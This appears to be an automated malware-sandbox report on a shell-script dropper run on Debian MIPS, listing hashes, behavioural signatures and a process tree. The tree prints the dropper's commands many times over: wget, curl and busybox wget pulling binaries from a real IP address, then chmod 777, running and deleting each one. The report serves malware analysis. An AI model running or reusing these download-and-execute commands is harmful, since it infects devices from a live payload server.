3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5

Analysis

max time kernel
79s
max time network
82s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/10/2024, 02:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
Size 10KB
Sample241030-csf7natjbt
SHA256 3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5
MD5 42a91996d3906977b0689100fe60c6ce
SHA1 d3a4064e1656b10a16defcf2ae834ff9663c0ed8
SHA512 584adbfd499013ba10ac22aeade58ecc01481ca87759c46aba787436265956fe2e087a8f4539b456c27b15a2e6e77d7c1230806aae40e42cb923dc06b5550712
SSDEEP 192:O1B+28cRI8WP3U5Fx2Fxcr6P3U5FWo48cRI8S1BA:D28cRI832ncrV48cRI8F
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
924	chmod
936	chmod
966	chmod
799	chmod
813	chmod
894	chmod
972	chmod
750	chmod
876	chmod
882	chmod
912	chmod
930	chmod
954	chmod
852	chmod
858	chmod
870	chmod
737	chmod
906	chmod
960	chmod
744	chmod
942	chmod
948	chmod
900	chmod
918	chmod
770	chmod
864	chmod
888	chmod
978	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	curl
File opened for modification	/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	curl
File opened for modification	/tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ	curl
File opened for modification	/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	curl
File opened for modification	/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	curl
File opened for modification	/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	curl
File opened for modification	/tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj	curl
File opened for modification	/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	curl
File opened for modification	/tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3	curl
File opened for modification	/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	curl
File opened for modification	/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	curl
File opened for modification	/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	curl
File opened for modification	/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	curl
File opened for modification	/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	curl
File opened for modification	/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	curl
File opened for modification	/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	curl
File opened for modification	/tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg	curl
File opened for modification	/tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y	curl
File opened for modification	/tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu	curl
File opened for modification	/tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0	curl
File opened for modification	/tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u	curl
File opened for modification	/tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx	curl
File opened for modification	/tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3	curl
File opened for modification	/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	curl
File opened for modification	/tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P	curl
File opened for modification	/tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3	curl
File opened for modification	/tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go	curl
File opened for modification	/tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT	curl

/tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
/tmp/3e47b25efc485e784daf709b443b85050e8e7b1662e67dd29eacb61f875ea3b5.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:736
- /bin/chmod
  chmod 777 ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  ./ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:739
- /usr/bin/wget
  wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:743
- /bin/chmod
  chmod 777 AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  ./AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Executes dropped EXE
  PID:745
- /bin/rm
  rm AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:746
- /usr/bin/wget
  wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:747
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:749
- /bin/chmod
  chmod 777 RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  ./RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:752
- /usr/bin/wget
  wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:764
- /bin/chmod
  chmod 777 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  ./0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Executes dropped EXE
  PID:771
- /bin/rm
  rm 0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:774
- /usr/bin/wget
  wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:775
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:782
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:791
- /bin/chmod
  chmod 777 rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  ./rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm rVA2MTXy6mRwRS106g5MDQOhNjEPKheeA3
  2⤵
  PID:804
- /usr/bin/wget
  wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:812
- /bin/chmod
  chmod 777 EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  ./EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:851
- /bin/chmod
  chmod 777 sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  ./sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm sXtL9ykpS5EGeC75KSm4ISldoBnEMBaegx
  2⤵
  PID:854
- /usr/bin/wget
  wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:857
- /bin/chmod
  chmod 777 zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - File and Directory Permissions Modification
  PID:858
- /tmp/zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  ./zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  - Executes dropped EXE
  PID:859
- /bin/rm
  rm zAy6qyrcJn8ygB91Mtd5JP5B1QX595wDvj
  2⤵
  PID:860
- /usr/bin/wget
  wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:861
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:863
- /bin/chmod
  chmod 777 n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  ./n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:866
- /usr/bin/wget
  wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:867
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:869
- /bin/chmod
  chmod 777 edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  ./edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:872
- /usr/bin/wget
  wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:875
- /bin/chmod
  chmod 777 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  ./17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Executes dropped EXE
  PID:877
- /bin/rm
  rm 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:878
- /usr/bin/wget
  wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:879
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:881
- /bin/chmod
  chmod 777 OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  ./OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Executes dropped EXE
  PID:883
- /bin/rm
  rm OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:884
- /usr/bin/wget
  wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:887
- /bin/chmod
  chmod 777 iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  ./iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:890
- /usr/bin/wget
  wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:891
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:893
- /bin/chmod
  chmod 777 k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  ./k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Executes dropped EXE
  PID:895
- /bin/rm
  rm k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:896
- /usr/bin/wget
  wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:898
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:899
- /bin/chmod
  chmod 777 n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  ./n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm n08cL4wJZwztSlD6n66g0z8Gc7OAJFGOm3
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:905
- /bin/chmod
  chmod 777 edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  ./edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm edo5Iem4ky2w4lbptwOgQR3WH8DxGiI3go
  2⤵
  PID:908
- /usr/bin/wget
  wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:909
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:910
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:911
- /bin/chmod
  chmod 777 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  ./17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm 17M92h5FNctzxiYLXQA6bIEpYMd6BpiEzg
  2⤵
  PID:914
- /usr/bin/wget
  wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:915
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:917
- /bin/chmod
  chmod 777 OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  ./OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  - Executes dropped EXE
  PID:919
- /bin/rm
  rm OljYJjKvAhhV0C76O6H0KcjXoBmEL4YCE3
  2⤵
  PID:920
- /usr/bin/wget
  wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:921
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:923
- /bin/chmod
  chmod 777 iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - File and Directory Permissions Modification
  PID:924
- /tmp/iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  ./iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  - Executes dropped EXE
  PID:925
- /bin/rm
  rm iA8Qo3KxBhjDidHTVjOB9ItWJqA5owWG9P
  2⤵
  PID:926
- /usr/bin/wget
  wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:927
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:929
- /bin/chmod
  chmod 777 k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  ./k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm k0ro4JsmRqxJuHy6DI4rRUCsur13sTD6HQ
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:933
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:935
- /bin/chmod
  chmod 777 EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - File and Directory Permissions Modification
  PID:936
- /tmp/EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  ./EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  - Executes dropped EXE
  PID:937
- /bin/rm
  rm EtS1olzEOu1EKn3sTkEZvYMQRMB8vozRWu
  2⤵
  PID:938
- /usr/bin/wget
  wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:939
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:940
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:941
- /bin/chmod
  chmod 777 ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  ./ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm ahzBRoBP2IpebsSHaeCkyxN58tNZIN3vF0
  2⤵
  PID:944
- /usr/bin/wget
  wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:945
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:947
- /bin/chmod
  chmod 777 AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  ./AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm AhOwVUL0qWvBUf8uN4etDd3iHDAKdl7g4Y
  2⤵
  PID:950
- /usr/bin/wget
  wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:951
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:953
- /bin/chmod
  chmod 777 RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  ./RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm RGBxd50mwbqVsXA3ihLiAf4Xuma0F7sD8u
  2⤵
  PID:956
- /usr/bin/wget
  wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:957
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0g0rbw1cdZpAyDWBxW3EpuZW5wu6CJFGUT
  2⤵
  PID:959
